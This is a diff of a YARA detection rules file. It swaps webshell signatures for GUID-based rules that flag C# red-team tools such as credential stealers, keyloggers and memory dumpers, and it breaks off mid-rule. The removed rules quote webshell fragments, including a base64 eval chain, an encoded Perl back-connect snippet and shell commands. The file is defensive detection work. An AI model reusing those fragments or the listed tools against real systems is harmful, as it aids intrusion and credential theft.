+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L186-L200"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a34873666a7a4a8aff77281fe638b1fd244f5295702cf815846ff64bcc21e360"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "#We Are: MasterKid, AleXutz, FatMan & MiKuTuL                                   "
-		$s1 = "echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shel"
-		$s2 = "ConnectBack Backdoor"
+		$typelibguid0lo = "c12e69cd-78a0-4960-af7e-88cbd794af97" ascii wide
+		$typelibguid0up = "C12E69CD-78A0-4960-AF7E-88CBD794AF97" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Defacekeeper_0_2_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Adamantium_Thief : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file DefaceKeeper_0.2.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "671323e2-42cb-5ce0-9839-5d01c446471c"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4317-L4329"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "713c54c3da3031bc614a8a55dccd7e7f"
-		logic_hash = "0ee3fed3441e9561867508e324d7a6b1808a8923513bf1c9b82f8238224c994c"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "82225b2e-ab4a-50b8-a3fd-7ad4947d052e"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/LimerBoy/Adamantium-Thief"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L202-L216"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "089fdba95fb53d412eca2e1188bf9b8211045793122a73ed6c0ea5ee5c386c47"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "target fi1e:<br><input type=\"text\" name=\"target\" value=\"index.php\"></br>" fullword
-		$s1 = "eval(base64_decode(\"ZXZhbChiYXNlNjRfZGVjb2RlKCJhV2R1YjNKbFgzVnpaWEpmWVdKdmNuUW9"
-		$s2 = "<img src=\"http://s43.radikal.ru/i101/1004/d8/ced1f6b2f5a9.png\" align=\"center"
+		$typelibguid0lo = "e6104bc9-fea9-4ee9-b919-28156c1f2ede" ascii wide
+		$typelibguid0up = "E6104BC9-FEA9-4EE9-B919-28156C1F2EDE" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Shells_PHP_Wso
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Psbypassclm : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file wso.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "fdce6094-a88e-5da6-aeb0-bc97b15bf397"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4330-L4341"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "33e2891c13b78328da9062fbfcf898b6"
-		logic_hash = "31ef69228b66b30300006f63b1e4d6e92c2512caca4bd915d418b48564b39c47"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "dad6729f-3d96-5d2d-b72c-a96d1a3eae74"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/padovah4ck/PSByPassCLM"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L218-L232"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "45538484f473f2940344fb89181e309b9925619ea6cf7e66a106cea9e9c6f281"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$back_connect_p=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbi"
-		$s3 = "echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=pos"
+		$typelibguid0lo = "46034038-0113-4d75-81fd-eb3b483f2662" ascii wide
+		$typelibguid0up = "46034038-0113-4D75-81FD-EB3B483F2662" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Backdoor1_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Physmem2Profit : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file backdoor1.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "89f44a1c-8a42-58f6-9308-371f4e652bff"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4342-L4354"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e1adda1f866367f52de001257b4d6c98"
-		logic_hash = "7c8840dc91c16b9fa19fee16e0159a7f13db23c96596e18da0cdab07931ce35b"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "75a27970-c469-53da-b0c3-b3d0faea0b6f"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/FSecureLABS/physmem2profit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L234-L248"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "60385891640e18699e17d1282b4af03ecd0ea3ceaf153bf54560242097595b2f"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "echo \"[DIR] <A HREF=\\\"\".$_SERVER['PHP_SELF'].\"?rep=\".realpath($rep.\".."
-		$s2 = "class backdoor {"
-		$s4 = "echo \"<a href=\\\"\".$_SERVER['PHP_SELF'].\"?copy=1\\\">Copier un fichier</a> <"
+		$typelibguid0lo = "814708c9-2320-42d2-a45f-31e42da06a94" ascii wide
+		$typelibguid0up = "814708C9-2320-42D2-A45F-31E42DA06A94" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Elmaliseker_Asp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Noamci : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file elmaliseker.asp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "7ecf3d5c-be91-579e-905b-5f2ad03a0e42"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4355-L4368"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b32d1730d23a660fd6aa8e60c3dc549f"
-		logic_hash = "969f0f12449375a9ebbb8a68fd4b3db395927416d5cceccdb7f2c64310430880"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5fab1551-9d35-53cf-a04f-c14370119553"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/med0x2e/NoAmci"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L250-L264"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4e4b7f6424ce77959bcc017e5f6d36059dda05df7ac09bc7055102c4ff2c10c0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "if Int((1-0+1)*Rnd+0)=0 then makeEmail=makeText(8) & \"@\" & makeText(8) & \".\""
-		$s1 = "<form name=frmCMD method=post action=\"<%=gURL%>\">"
-		$s2 = "dim zombie_array,special_array"
-		$s3 = "http://vnhacker.org"
+		$typelibguid0lo = "352e80ec-72a5-4aa6-aabe-4f9a20393e8e" ascii wide
+		$typelibguid0up = "352E80EC-72A5-4AA6-AABE-4F9A20393E8E" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Indexer_Asp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpblock : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file indexer.asp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "84ff60f9-36f7-5d29-9f38-8088fb42582e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4369-L4380"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9ea82afb8c7070817d4cdf686abe0300"
-		logic_hash = "0a51f15bfb4289dcb70e1e0b96d100be12901ebf26ed9c0e543eda5f4aa91f1c"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "b84538da-1b0e-50c7-abfa-e93d6de5a49b"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/CCob/SharpBlock"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L266-L280"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4e2583de504884f421425f86fc4364e5bdde55946c19eebbcc64933e03357622"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input typ"
-		$s2 = "D7nD7l.km4snk`JzKnd{n_ejq;bd{KbPur#kQ8AAA==^#~@%>></td><td><input type=\"submit"
+		$typelibguid0lo = "3cf25e04-27e4-4d19-945e-dadc37c81152" ascii wide
+		$typelibguid0up = "3CF25E04-27E4-4D19-945E-DADC37C81152" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Dxshell_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Nopowershell : FILE
 {
-	meta:
-		description = "Semi-Auto-generated  - file DxShell.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "b89930b7-acf3-5078-8429-d59e27e4b00c"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4381-L4392"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "33a2b31810178f4c2e71fbdeb4899244"
-		logic_hash = "821f9295eba6119ad08349e769d1909cd7836b4e35795915e94095cf715dc6e5"
+	meta:
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0fd7496b-e34f-51f7-9270-ad424ed6a7a8"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/bitsadmin/nopowershell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L282-L296"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "29ce3eaf0eca016fd72b54c8773226102cabcfd65d172e42fffe1c29e79d16ec"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
-		$s2 = "print \"\\n\".'<tr><td width=100pt class=linelisting><nobr>POST (php eval)</td><"
+		$typelibguid0lo = "555ad0ac-1fdb-4016-8257-170a74cb2f55" ascii wide
+		$typelibguid0up = "555AD0AC-1FDB-4016-8257-170A74CB2F55" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_S72_Shell_V1_1_Coding_Html
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Limelogger : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file s72 Shell v1.1 Coding.html.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "dfd3b80e-6245-5f74-9d6a-6006218891ac"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4393-L4405"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c2e8346a5515c81797af36e7e4a3828e"
-		logic_hash = "aef8840b72e5c435c11150007d6b3af2943126fefdc6df343d0f73755340e260"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0798f01b-76b7-5c4d-9ddb-5e377b86f8b9"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/NYAN-x-CAT/LimeLogger"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L298-L312"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1afc5f5f236d66374f5c53f770e8284867632b0373de00283175ed1d424bfa4b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Dizin</font></b></font><font face=\"Verdana\" style=\"font-size: 8pt\"><"
-		$s1 = "s72 Shell v1.0 Codinf by Cr@zy_King"
-		$s3 = "echo \"<p align=center>Dosya Zaten Bulunuyor</p>\""
+		$typelibguid0lo = "068d14ef-f0a1-4f9d-8e27-58b4317830c6" ascii wide
+		$typelibguid0up = "068D14EF-F0A1-4F9D-8E27-58B4317830C6" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Kacak_Asp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Aggressorscripts : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file kacak.asp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "1ae15174-b84a-5826-b768-7afed65196db"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4406-L4419"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "907d95d46785db21331a0324972dda8c"
-		logic_hash = "8542a3985dff2d1eb42f4d2c9f30405a4817a8e30075225c518ec52381f1f7df"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d5903db5-010b-5b9d-8a5b-5d61aec52e7a"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/harleyQu1nn/AggressorScripts"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L314-L328"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "33982f1f91aa61c54f7c60236389ed78e0a23be5fc04abce6c6574e067522a23"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Kacak FSO 1.0"
-		$s1 = "if request.querystring(\"TGH\") = \"1\" then"
-		$s3 = "<font color=\"#858585\">BuqX</font></a></font><font face=\"Verdana\" style="
-		$s4 = "mailto:BuqX@hotmail.com"
+		$typelibguid0lo = "afd1ff09-2632-4087-a30c-43591f32e4e8" ascii wide
+		$typelibguid0up = "AFD1FF09-2632-4087-A30C-43591F32E4E8" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_PHP_Backdoor_Connect_Pl_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Gopher : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file PHP Backdoor Connect.pl.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "96c9258e-3894-5ee9-b52c-eb7ba7454416"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4420-L4432"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "57fcd9560dac244aeaf95fd606621900"
-		logic_hash = "b141546f45767884f9c8b1cc4c09ea25f90c0f3a3633bfeecad78b60e7f20306"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e3015719-9085-584d-8237-f377ec995149"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/EncodeGroup/Gopher"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L330-L344"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f17688d229c74f0f956a45d9eacfa2bb190c973c097bc870db96edc5c331f436"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "LorD of IRAN HACKERS SABOTAGE"
-		$s1 = "LorD-C0d3r-NT"
-		$s2 = "echo --==Userinfo==-- ;"
+		$typelibguid0lo = "b5152683-2514-49ce-9aca-1bc43df1e234" ascii wide
+		$typelibguid0up = "B5152683-2514-49CE-9ACA-1BC43DF1E234" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Antichat_Socks5_Server_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Aviator : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Antichat Socks5 Server.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "35d0930c-ef07-5fd4-9d7a-c0d685f92339"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4433-L4445"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cbe9eafbc4d86842a61a54d98e5b61f1"
-		logic_hash = "d6b203561f95f431b3d2c241011ae08c05619d45c5900a28137481c029e8297e"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "52acd520-52aa-5bb9-ab3b-66a940aa5f5a"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/Ch0pin/AVIator"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L346-L360"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4b25128df5cdc26152494f39656546974b3b04c5e4ec7d3084e27d0f6baf4ca0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$port = base_convert(bin2hex(substr($reqmessage[$id], 3+$reqlen+1, 2)), 16, 10);" fullword
-		$s3 = "#   [+] Domain name address type"
-		$s4 = "www.antichat.ru"
+		$typelibguid0lo = "4885a4a3-4dfa-486c-b378-ae94a221661a" ascii wide
+		$typelibguid0up = "4885A4A3-4DFA-486C-B378-AE94A221661A" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Antichat_Shell_V1_3_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Njcrypter : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Antichat Shell v1.3.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "856cf977-24da-58e0-b6d2-820c92075ecc"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4446-L4458"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "40d0abceba125868be7f3f990f031521"
-		logic_hash = "566c324f3bf44ce9f32ddad82a8d3daa87a8a75b5ca0c8286bc912a8ae4ac8e9"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "c30c8323-9418-521a-a4fc-6be0113b99b5"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/0xPh0enix/njCrypter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L362-L378"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3fafad2f64c931394f9deddc1751da8286d7ba7727c3505fbc20cf8c4226971a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Antichat"
-		$s1 = "Can't open file, permission denide"
-		$s2 = "$ra44"
+		$typelibguid0lo = "8a87b003-4b43-467b-a509-0c8be05bf5a5" ascii wide
+		$typelibguid0up = "8A87B003-4B43-467B-A509-0C8BE05BF5A5" ascii wide
+		$typelibguid1lo = "80b13bff-24a5-4193-8e51-c62a414060ec" ascii wide
+		$typelibguid1up = "80B13BFF-24A5-4193-8E51-C62A414060EC" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Safe_Mode_Bypass_PHP_4_4_2_And_PHP_5_1_2_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpminidump : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "3e81f628-31b4-5c22-943e-62c8cb4c0c4d"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4459-L4471"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "49ad9117c96419c35987aaa7e2230f63"
-		logic_hash = "d6d2a3999f2e8ceb70f57697c0a845edbbcfce0aba151ec6a0ac23f55265cd47"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e91e6711-d992-5a8a-97e6-1ed7847f38a4"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/b4rtik/SharpMiniDump"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L380-L394"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9ef422dfd066c4fff7e3e72758557bcac81883ae75f0bf0c8efc14a127e12acf"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Welcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy"
-		$s1 = "Mode Shell v1.0</font></span>"
-		$s2 = "has been already loaded. PHP Emperor <xb5@hotmail."
+		$typelibguid0lo = "6ffccf81-6c3c-4d3f-b15f-35a86d0b497f" ascii wide
+		$typelibguid0up = "6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Mysql_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Cinarat : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file mysql.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4472-L4484"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
